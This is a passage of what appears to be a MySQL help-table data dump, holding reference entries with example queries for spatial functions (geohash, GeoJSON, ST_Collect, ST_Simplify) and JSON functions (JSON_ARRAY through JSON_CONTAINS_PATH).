section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(370,'MBRWITHIN',32,'MBRWithin(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangle of g1\nis within the minimum bounding rectangle of g2. This tests the opposite\nrelationship as MBRContains().\n\nMBRWithin() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'Polygon((0 0,0 3,3 3,3 0,0 0))\');\nmysql> SET @g2 = ST_GeomFromText(\'Polygon((0 0,0 5,5 5,5 0,0 0))\');\nmysql> SELECT MBRWithin(@g1,@g2), MBRWithin(@g2,@g1);\n+--------------------+--------------------+\n| MBRWithin(@g1,@g2) | MBRWithin(@g2,@g1) |\n+--------------------+--------------------+\n| 1 | 0 |\n+--------------------+--------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(371,'ST_GEOHASH',32,'ST_GeoHash(longitude, latitude, max_length), ST_GeoHash(point,\nmax_length)\n\nReturns a geohash string in the connection character set and collation.\n\nFor the first syntax, the longitude must be a number in the range\n[−180, 180], and the latitude must be a number in the range [−90,\n90]. For the second syntax, a POINT value is required, where the X and\nY coordinates are in the valid ranges for longitude and latitude,\nrespectively.\n\nThe resulting string is no longer than max_length characters, which has\nan upper limit of 100. The string might be shorter than max_length\ncharacters because the algorithm that creates the geohash value\ncontinues until it has created a string that is either an exact\nrepresentation of the location or max_length characters, whichever\ncomes first.\n\nST_GeoHash() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html\n\n','mysql> SELECT ST_GeoHash(180,0,10), ST_GeoHash(-180,-90,15);\n+----------------------+-------------------------+\n| ST_GeoHash(180,0,10) | ST_GeoHash(-180,-90,15) |\n+----------------------+-------------------------+\n| xbpbpbpbpb | 000000000000000 |\n+----------------------+-------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html'),(372,'ST_LATFROMGEOHASH',32,'ST_LatFromGeoHash(geohash_str)\n\nReturns the latitude from a geohash string value, as a double-precision\nnumber in the range [−90, 90].\n\nThe ST_LatFromGeoHash() decoding function reads no more than 433\ncharacters from the geohash_str argument. That represents the upper\nlimit on information in the internal representation of coordinate\nvalues. Characters past the 433rd are ignored, even if they are\notherwise illegal and produce an error.\n\nST_LatFromGeoHash() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html\n\n','mysql> SELECT ST_LatFromGeoHash(ST_GeoHash(45,-20,10));\n+------------------------------------------+\n| ST_LatFromGeoHash(ST_GeoHash(45,-20,10)) |\n+------------------------------------------+\n| -20 |\n+------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html'),(373,'ST_LONGFROMGEOHASH',32,'ST_LongFromGeoHash(geohash_str)\n\nReturns the longitude from a geohash string value, as a\ndouble-precision number in the range [−180, 180].\n\nThe remarks in the description of ST_LatFromGeoHash() regarding the\nmaximum number of characters processed from the geohash_str argument\nalso apply to ST_LongFromGeoHash().\n\nST_LongFromGeoHash() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html\n\n','mysql> SELECT ST_LongFromGeoHash(ST_GeoHash(45,-20,10));\n+-------------------------------------------+\n| ST_LongFromGeoHash(ST_GeoHash(45,-20,10)) |\n+-------------------------------------------+\n| 45 |\n+-------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html'),(374,'ST_POINTFROMGEOHASH',32,'ST_PointFromGeoHash(geohash_str, srid)\n\nReturns a POINT value containing the decoded geohash value, given a\ngeohash string value.\n\nThe X and Y coordinates of the point are the longitude in the range\n[−180, 180] and the latitude in the range [−90, 90], respectively.\n\nThe srid argument is an 32-bit unsigned integer.\n\nThe remarks in the description of ST_LatFromGeoHash() regarding the\nmaximum number of characters processed from the geohash_str argument\nalso apply to ST_PointFromGeoHash().\n\nST_PointFromGeoHash() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html\n\n','mysql> SET @gh = ST_GeoHash(45,-20,10);\nmysql> SELECT ST_AsText(ST_PointFromGeoHash(@gh,0));\n+---------------------------------------+\n| ST_AsText(ST_PointFromGeoHash(@gh,0)) |\n+---------------------------------------+\n| POINT(45 -20) |\n+---------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geohash-functions.html'),(375,'ST_ASGEOJSON',32,'ST_AsGeoJSON(g [, max_dec_digits [, options]])\n\nGenerates a GeoJSON object from the geometry g. The object string has\nthe connection character set and collation.\n\nIf any argument is NULL, the return value is NULL. If any non-NULL\nargument is invalid, an error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geojson-functions.html\n\n','mysql> SELECT ST_AsGeoJSON(ST_GeomFromText(\'POINT(11.11111 12.22222)\'),2);\n+-------------------------------------------------------------+\n| ST_AsGeoJSON(ST_GeomFromText(\'POINT(11.11111 12.22222)\'),2) |\n+-------------------------------------------------------------+\n| {\"type\": \"Point\", \"coordinates\": [11.11, 12.22]} |\n+-------------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geojson-functions.html'),(376,'ST_GEOMFROMGEOJSON',32,'ST_GeomFromGeoJSON(str [, options [, srid]])\n\nParses a string str representing a GeoJSON object and returns a\ngeometry.\n\nIf any argument is NULL, the return value is NULL. If any non-NULL\nargument is invalid, an error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-geojson-functions.html\n\n','mysql> SET @json = \'{ \"type\": \"Point\", \"coordinates\": [102.0, 0.0]}\';\nmysql> SELECT ST_AsText(ST_GeomFromGeoJSON(@json));\n+--------------------------------------+\n| ST_AsText(ST_GeomFromGeoJSON(@json)) |\n+--------------------------------------+\n| POINT(0 102) |\n+--------------------------------------+\nmysql> SELECT ST_SRID(ST_GeomFromGeoJSON(@json));\n+------------------------------------+\n| ST_SRID(ST_GeomFromGeoJSON(@json)) |\n+------------------------------------+\n| 4326 |\n+------------------------------------+\nmysql> SELECT ST_AsText(ST_SRID(ST_GeomFromGeoJSON(@json),0));\n+-------------------------------------------------+\n| ST_AsText(ST_SRID(ST_GeomFromGeoJSON(@json),0)) |\n+-------------------------------------------------+\n| POINT(102 0) |\n+-------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-geojson-functions.html'),(377,'ST_COLLECT',32,'ST_Collect([DISTINCT] g) [over_clause]\n\nAggregates geometry values and returns a single geometry collection\nvalue. With the DISTINCT option, returns the aggregation of the\ndistinct geometry arguments.\n\nAs with other aggregate functions, GROUP BY may be used to group\narguments into subsets. ST_Collect() returns an aggregate value for\neach subset.\n\nThis function executes as a window function if over_clause is present.\nover_clause is as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html. In\ncontrast to most aggregate functions that support windowing,\nST_Collect() permits use of over_clause together with DISTINCT.\n\nST_Collect() handles its arguments as follows:\n\no NULL arguments are ignored.\n\no If all arguments are NULL or the aggregate result is empty, the\n return value is NULL.\n\no If any geometry argument is not a syntactically well-formed geometry,\n an ER_GIS_INVALID_DATA\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_gis_invalid_data) error occurs.\n\no If any geometry argument is a syntactically well-formed geometry in\n an undefined spatial reference system (SRS), an ER_SRS_NOT_FOUND\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_srs_not_found) error occurs.\n\no If there are multiple geometry arguments and those arguments are in\n the same SRS, the return value is in that SRS. If those arguments are\n not in the same SRS, an ER_GIS_DIFFERENT_SRIDS_AGGREGATION\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_gis_different_srids_aggregation) error occurs.\n\no The result is the narrowest MultiXxx or GeometryCollection value\n possible, with the result type determined from the non-NULL geometry\n arguments as follows:\n\n o If all arguments are Point values, the result is a MultiPoint\n value.\n\n o If all arguments are LineString values, the result is a\n MultiLineString value.\n\n o If all arguments are Polygon values, the result is a MultiPolygon\n value.\n\n o Otherwise, the arguments are a mix of geometry types and the result\n is a GeometryCollection value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-aggregate-functions.html\n\n','CREATE TABLE product (\n year INTEGER,\n product VARCHAR(256),\n location Geometry\n);\n\nINSERT INTO product\n(year, product, location) VALUES\n(2000, \"Calculator\", ST_GeomFromText(\'point(60 -24)\',4326)),\n(2000, \"Computer\" , ST_GeomFromText(\'point(28 -77)\',4326)),\n(2000, \"Abacus\" , ST_GeomFromText(\'point(28 -77)\',4326)),\n(2000, \"TV\" , ST_GeomFromText(\'point(38 60)\',4326)),\n(2001, \"Calculator\", ST_GeomFromText(\'point(60 -24)\',4326)),\n(2001, \"Computer\" , ST_GeomFromText(\'point(28 -77)\',4326));\n\nmysql> SELECT ST_AsText(ST_Collect(location)) AS result\n FROM product;\n+------------------------------------------------------------------+\n| result |\n+------------------------------------------------------------------+\n| MULTIPOINT((60 -24),(28 -77),(28 -77),(38 60),(60 -24),(28 -77)) |\n+------------------------------------------------------------------+\n\nmysql> SELECT ST_AsText(ST_Collect(DISTINCT location)) AS result\n FROM product;\n+---------------------------------------+\n| result |\n+---------------------------------------+\n| MULTIPOINT((60 -24),(28 -77),(38 60)) |\n+---------------------------------------+\n\nmysql> SELECT year, ST_AsText(ST_Collect(location)) AS result\n FROM product GROUP BY year;\n+------+------------------------------------------------+\n| year | result |\n+------+------------------------------------------------+\n| 2000 | MULTIPOINT((60 -24),(28 -77),(28 -77),(38 60)) |\n| 2001 | MULTIPOINT((60 -24),(28 -77)) |\n+------+------------------------------------------------+\n\nmysql> SELECT year, ST_AsText(ST_Collect(DISTINCT location)) AS result\n FROM product GROUP BY year;\n+------+---------------------------------------+\n| year | result |\n+------+---------------------------------------+\n| 2000 | MULTIPOINT((60 -24),(28 -77),(38 60)) |\n| 2001 | MULTIPOINT((60 -24),(28 -77)) |\n+------+---------------------------------------+\n\n# selects nothing\nmysql> SELECT ST_Collect(location) AS result\n FROM product WHERE year = 1999;\n+--------+\n| result |\n+--------+\n| NULL |\n+--------+\n\nmysql> SELECT ST_AsText(ST_Collect(location)\n OVER (ORDER BY year, product ROWS BETWEEN 1 PRECEDING AND CURRENT ROW))\n AS result\n FROM product;\n+-------------------------------+\n| result |\n+-------------------------------+\n| MULTIPOINT((28 -77)) |\n| MULTIPOINT((28 -77),(60 -24)) |\n| MULTIPOINT((60 -24),(28 -77)) |\n| MULTIPOINT((28 -77),(38 60)) |\n| MULTIPOINT((38 60),(60 -24)) |\n| MULTIPOINT((60 -24),(28 -77)) |\n+-------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-aggregate-functions.html'),(378,'ST_DISTANCE_SPHERE',32,'ST_Distance_Sphere(g1, g2 [, radius])\n\nReturns the minimum spherical distance between Point or MultiPoint\narguments on a sphere, in meters. (For general-purpose distance\ncalculations, see the ST_Distance() function.) The optional radius\nargument should be given in meters.\n\nIf both geometry parameters are valid Cartesian Point or MultiPoint\nvalues in SRID 0, the return value is shortest distance between the two\ngeometries on a sphere with the provided radius. If omitted, the\ndefault radius is 6,370,986 meters, Point X and Y coordinates are\ninterpreted as longitude and latitude, respectively, in degrees.\n\nIf both geometry parameters are valid Point or MultiPoint values in a\ngeographic spatial reference system (SRS), the return value is the\nshortest distance between the two geometries on a sphere with the\nprovided radius. If omitted, the default radius is equal to the mean\nradius, defined as (2a+b)/3, where a is the semi-major axis and b is\nthe semi-minor axis of the SRS.\n\nST_Distance_Sphere() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no Supported geometry argument combinations are Point and Point, or\n Point and MultiPoint (in any argument order). If at least one of the\n geometries is neither Point nor MultiPoint, and its SRID is 0, an\n ER_NOT_IMPLEMENTED_FOR_CARTESIAN_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_cartesian_srs) error occurs. If at\n least one of the geometries is neither Point nor MultiPoint, and its\n SRID refers to a geographic SRS, an\n ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs. If\n any geometry refers to a projected SRS, an\n ER_NOT_IMPLEMENTED_FOR_PROJECTED_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_projected_srs) error occurs.\n\no If any argument has a longitude or latitude that is out of range, an\n error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. If an SRS uses another unit, the range\n uses the corresponding values in its unit. The exact range limits\n deviate slightly due to floating-point arithmetic.\n\no If the radius argument is present but not positive, an\n ER_NONPOSITIVE_RADIUS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_nonpositive_radius) error occurs.\n\no If the distance exceeds the range of a double-precision number, an\n ER_STD_OVERFLOW_ERROR\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_std_overflow_error) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html\n\n','mysql> SET @pt1 = ST_GeomFromText(\'POINT(0 0)\');\nmysql> SET @pt2 = ST_GeomFromText(\'POINT(180 0)\');\nmysql> SELECT ST_Distance_Sphere(@pt1, @pt2);\n+--------------------------------+\n| ST_Distance_Sphere(@pt1, @pt2) |\n+--------------------------------+\n| 20015042.813723423 |\n+--------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html'),(379,'ST_ISVALID',32,'ST_IsValid(g)\n\nReturns 1 if the argument is geometrically valid, 0 if the argument is\nnot geometrically valid. Geometry validity is defined by the OGC\nspecification.\n\nThe only valid empty geometry is represented in the form of an empty\ngeometry collection value. ST_IsValid() returns 1 in this case. MySQL\ndoes not support GIS EMPTY values such as POINT EMPTY.\n\nST_IsValid() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no If the geometry has a geographic SRS with a longitude or latitude\n that is out of range, an error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. If an SRS uses another unit, the range\n uses the corresponding values in its unit. The exact range limits\n deviate slightly due to floating-point arithmetic.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html\n\n','mysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,-0.00 0,0.0 0)\');\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 0, 1 1)\');\nmysql> SELECT ST_IsValid(@ls1);\n+------------------+\n| ST_IsValid(@ls1) |\n+------------------+\n| 0 |\n+------------------+\nmysql> SELECT ST_IsValid(@ls2);\n+------------------+\n| ST_IsValid(@ls2) |\n+------------------+\n| 1 |\n+------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html'),(380,'ST_MAKEENVELOPE',32,'ST_MakeEnvelope(pt1, pt2)\n\nReturns the rectangle that forms the envelope around two points, as a\nPoint, LineString, or Polygon.\n\nCalculations are done using the Cartesian coordinate system rather than\non a sphere, spheroid, or on earth.\n\nGiven two points pt1 and pt2, ST_MakeEnvelope() creates the result\ngeometry on an abstract plane like this:\n\no If pt1 and pt2 are equal, the result is the point pt1.\n\no Otherwise, if (pt1, pt2) is a vertical or horizontal line segment,\n the result is the line segment (pt1, pt2).\n\no Otherwise, the result is a polygon using pt1 and pt2 as diagonal\n points.\n\nThe result geometry has an SRID of 0.\n\nST_MakeEnvelope() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If the arguments are not Point values, an ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs.\n\no An ER_GIS_INVALID_DATA\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_gis_invalid_data) error occurs for the additional\n condition that any coordinate value of the two points is infinite or\n NaN.\n\no If any geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html\n\n','mysql> SET @pt1 = ST_GeomFromText(\'POINT(0 0)\');\nmysql> SET @pt2 = ST_GeomFromText(\'POINT(1 1)\');\nmysql> SELECT ST_AsText(ST_MakeEnvelope(@pt1, @pt2));\n+----------------------------------------+\n| ST_AsText(ST_MakeEnvelope(@pt1, @pt2)) |\n+----------------------------------------+\n| POLYGON((0 0,1 0,1 1,0 1,0 0)) |\n+----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html'),(381,'ST_SIMPLIFY',32,'ST_Simplify(g, max_distance)\n\nSimplifies a geometry using the Douglas-Peucker algorithm and returns a\nsimplified value of the same type.\n\nThe geometry may be any geometry type, although the Douglas-Peucker\nalgorithm may not actually process every type. A geometry collection is\nprocessed by giving its components one by one to the simplification\nalgorithm, and the returned geometries are put into a geometry\ncollection as result.\n\nThe max_distance argument is the distance (in units of the input\ncoordinates) of a vertex to other segments to be removed. Vertices\nwithin this distance of the simplified linestring are removed.\n\nAccording to Boost.Geometry, geometries might become invalid as a\nresult of the simplification process, and the process might create\nself-intersections. To check the validity of the result, pass it to\nST_IsValid().\n\nST_Simplify() handles its arguments as described in the introduction to\nthis section, with this exception:\n\no If the max_distance argument is not positive, or is NaN, an\n ER_WRONG_ARGUMENTS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_wrong_arguments) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html\n\n','mysql> SET @g = ST_GeomFromText(\'LINESTRING(0 0,0 1,1 1,1 2,2 2,2 3,3 3)\');\nmysql> SELECT ST_AsText(ST_Simplify(@g, 0.5));\n+---------------------------------+\n| ST_AsText(ST_Simplify(@g, 0.5)) |\n+---------------------------------+\n| LINESTRING(0 0,0 1,1 1,2 3,3 3) |\n+---------------------------------+\nmysql> SELECT ST_AsText(ST_Simplify(@g, 1.0));\n+---------------------------------+\n| ST_AsText(ST_Simplify(@g, 1.0)) |\n+---------------------------------+\n| LINESTRING(0 0,3 3) |\n+---------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html'),(382,'ST_VALIDATE',32,'ST_Validate(g)\n\nValidates a geometry according to the OGC specification. A geometry can\nbe syntactically well-formed (WKB value plus SRID) but geometrically\ninvalid. For example, this polygon is geometrically invalid: POLYGON((0\n0, 0 0, 0 0, 0 0, 0 0))\n\nST_Validate() returns the geometry if it is syntactically well-formed\nand is geometrically valid, NULL if the argument is not syntactically\nwell-formed or is not geometrically valid or is NULL.\n\nST_Validate() can be used to filter out invalid geometry data, although\nat a cost. For applications that require more precise results not\ntainted by invalid data, this penalty may be worthwhile.\n\nIf the geometry argument is valid, it is returned as is, except that if\nan input Polygon or MultiPolygon has clockwise rings, those rings are\nreversed before checking for validity. If the geometry is valid, the\nvalue with the reversed rings is returned.\n\nThe only valid empty geometry is represented in the form of an empty\ngeometry collection value. ST_Validate() returns it directly without\nfurther checks in this case.\n\nAs of MySQL 8.0.13, ST_Validate() handles its arguments as described in\nthe introduction to this section, with these exceptions:\n\no If the geometry has a geographic SRS with a longitude or latitude\n that is out of range, an error occurs:\n\n o If a longitude value is not in the range (−180, 180], an\n ER_GEOMETRY_PARAM_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_longitude_out_of_range) error\n occurs (ER_LONGITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_longitude_out_of_range) prior to MySQL 8.0.12).\n\n o If a latitude value is not in the range [−90, 90], an\n ER_GEOMETRY_PARAM_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_geometry_param_latitude_out_of_range) error occurs\n (ER_LATITUDE_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-referen\n ce.html#error_er_latitude_out_of_range) prior to MySQL 8.0.12).\n\n Ranges shown are in degrees. The exact range limits deviate slightly\n due to floating-point arithmetic.\n\nPrior to MySQL 8.0.13, ST_Validate() handles its arguments as described\nin the introduction to this section, with these exceptions:\n\no If the geometry is not syntactically well-formed, the return value is\n NULL. An ER_GIS_INVALID_DATA\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_gis_invalid_data) error does not occur.\n\no If the geometry has an SRID value for a geographic spatial reference\n system (SRS), an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html\n\n','mysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0)\');\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 0, 1 1)\');\nmysql> SELECT ST_AsText(ST_Validate(@ls1));\n+------------------------------+\n| ST_AsText(ST_Validate(@ls1)) |\n+------------------------------+\n| NULL |\n+------------------------------+\nmysql> SELECT ST_AsText(ST_Validate(@ls2));\n+------------------------------+\n| ST_AsText(ST_Validate(@ls2)) |\n+------------------------------+\n| LINESTRING(0 0,1 1) |\n+------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-convenience-functions.html'),(383,'JSON_ARRAY',32,'Syntax:\nJSON_ARRAY([val[, val] ...])\n\nEvaluates a (possibly empty) list of values and returns a JSON array\ncontaining those values.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html\n\n','mysql> SELECT JSON_ARRAY(1, \"abc\", NULL, TRUE, CURTIME());\n+---------------------------------------------+\n| JSON_ARRAY(1, \"abc\", NULL, TRUE, CURTIME()) |\n+---------------------------------------------+\n| [1, \"abc\", null, true, \"11:30:24.000000\"] |\n+---------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html'),(384,'JSON_OBJECT',32,'Syntax:\nJSON_OBJECT([key, val[, key, val] ...])\n\nEvaluates a (possibly empty) list of key-value pairs and returns a JSON\nobject containing those pairs. An error occurs if any key name is NULL\nor the number of arguments is odd.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html\n\n','mysql> SELECT JSON_OBJECT(\'id\', 87, \'name\', \'carrot\');\n+-----------------------------------------+\n| JSON_OBJECT(\'id\', 87, \'name\', \'carrot\') |\n+-----------------------------------------+\n| {\"id\": 87, \"name\": \"carrot\"} |\n+-----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html'),(385,'JSON_QUOTE',32,'Syntax:\nJSON_QUOTE(string)\n\nQuotes a string as a JSON value by wrapping it with double quote\ncharacters and escaping interior quote and other characters, then\nreturning the result as a utf8mb4 string. Returns NULL if the argument\nis NULL.\n\nThis function is typically used to produce a valid JSON string literal\nfor inclusion within a JSON document.\n\nCertain special characters are escaped with backslashes per the escape\nsequences shown in\nhttps://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n#json-unquote-character-escape-sequences.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html\n\n','mysql> SELECT JSON_QUOTE(\'null\'), JSON_QUOTE(\'\"null\"\');\n+--------------------+----------------------+\n| JSON_QUOTE(\'null\') | JSON_QUOTE(\'\"null\"\') |\n+--------------------+----------------------+\n| \"null\" | \"\\\"null\\\"\" |\n+--------------------+----------------------+\nmysql> SELECT JSON_QUOTE(\'[1, 2, 3]\');\n+-------------------------+\n| JSON_QUOTE(\'[1, 2, 3]\') |\n+-------------------------+\n| \"[1, 2, 3]\" |\n+-------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-creation-functions.html'),(386,'JSON_CONTAINS',32,'Syntax:\nJSON_CONTAINS(target, candidate[, path])\n\nIndicates by returning 1 or 0 whether a given candidate JSON document\nis contained within a target JSON document, or---if a path argument was\nsupplied---whether the candidate is found at a specific path within the\ntarget. Returns NULL if any argument is NULL, or if the path argument\ndoes not identify a section of the target document. An error occurs if\ntarget or candidate is not a valid JSON document, or if the path\nargument is not a valid path expression or contains a * or ** wildcard.\n\nTo check only whether any data exists at the path, use\nJSON_CONTAINS_PATH() instead.\n\nThe following rules define containment:\n\no A candidate scalar is contained in a target scalar if and only if\n they are comparable and are equal. Two scalar values are comparable\n if they have the same JSON_TYPE() types, with the exception that\n values of types INTEGER and DECIMAL are also comparable to each\n other.\n\no A candidate array is contained in a target array if and only if every\n element in the candidate is contained in some element of the target.\n\no A candidate nonarray is contained in a target array if and only if\n the candidate is contained in some element of the target.\n\no A candidate object is contained in a target object if and only if for\n each key in the candidate there is a key with the same name in the\n target and the value associated with the candidate key is contained\n in the value associated with the target key.\n\nOtherwise, the candidate value is not contained in the target document.\n\nStarting with MySQL 8.0.17, queries using JSON_CONTAINS() on InnoDB\ntables can be optimized using multi-valued indexes; see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-\nmulti-valued, for more information.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SET @j = \'{\"a\": 1, \"b\": 2, \"c\": {\"d\": 4}}\';\nmysql> SET @j2 = \'1\';\nmysql> SELECT JSON_CONTAINS(@j, @j2, \'$.a\');\n+-------------------------------+\n| JSON_CONTAINS(@j, @j2, \'$.a\') |\n+-------------------------------+\n| 1 |\n+-------------------------------+\nmysql> SELECT JSON_CONTAINS(@j, @j2, \'$.b\');\n+-------------------------------+\n| JSON_CONTAINS(@j, @j2, \'$.b\') |\n+-------------------------------+\n| 0 |\n+-------------------------------+\n\nmysql> SET @j2 = \'{\"d\": 4}\';\nmysql> SELECT JSON_CONTAINS(@j, @j2, \'$.a\');\n+-------------------------------+\n| JSON_CONTAINS(@j, @j2, \'$.a\') |\n+-------------------------------+\n| 0 |\n+-------------------------------+\nmysql> SELECT JSON_CONTAINS(@j, @j2, \'$.c\');\n+-------------------------------+\n| JSON_CONTAINS(@j, @j2, \'$.c\') |\n+-------------------------------+\n| 1 |\n+-------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(387,'JSON_CONTAINS_PATH',32,'Syntax:\nJSON_CONTAINS_PATH(json_doc, one_or_all, path[, path] ...)\n\nReturns 0 or 1 to indicate whether a JSON document contains data at a\ngiven path or paths. Returns NULL if any argument is NULL. An error\noccurs if the json_doc argument is not a valid JSON document, any path\nargument is not a valid path expression, or one_or_all is not \'one\' or\n\'all\'.\n\nTo check for a specific value at a path, use JSON_CONTAINS() instead.\n\nThe return value is 0 if no specified path exists within the document.\nOtherwise, the return value depends on the one_or_all argument:\n\no \'one\': 1 if at least one path exists within the document, 0\n otherwise.\n\no \'all\': 1 if all paths exist within the document, 0 otherwise.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SET @j = \'{\"a\": 1, \"b\": 2, \"c\": {\"d\": 4}}\';\nmysql> SELECT JSON_CONTAINS_PATH(@j, \'one\', \'$.a\', \'$.e\');\n+---------------------------------------------+\n| JSON_CONTAINS_PATH(@j, \'one\', \'$.a\', \'$.e\') |\n+---------------------------------------------+\n| 1 |\n+---------------------------------------------+\nmysql> SELECT 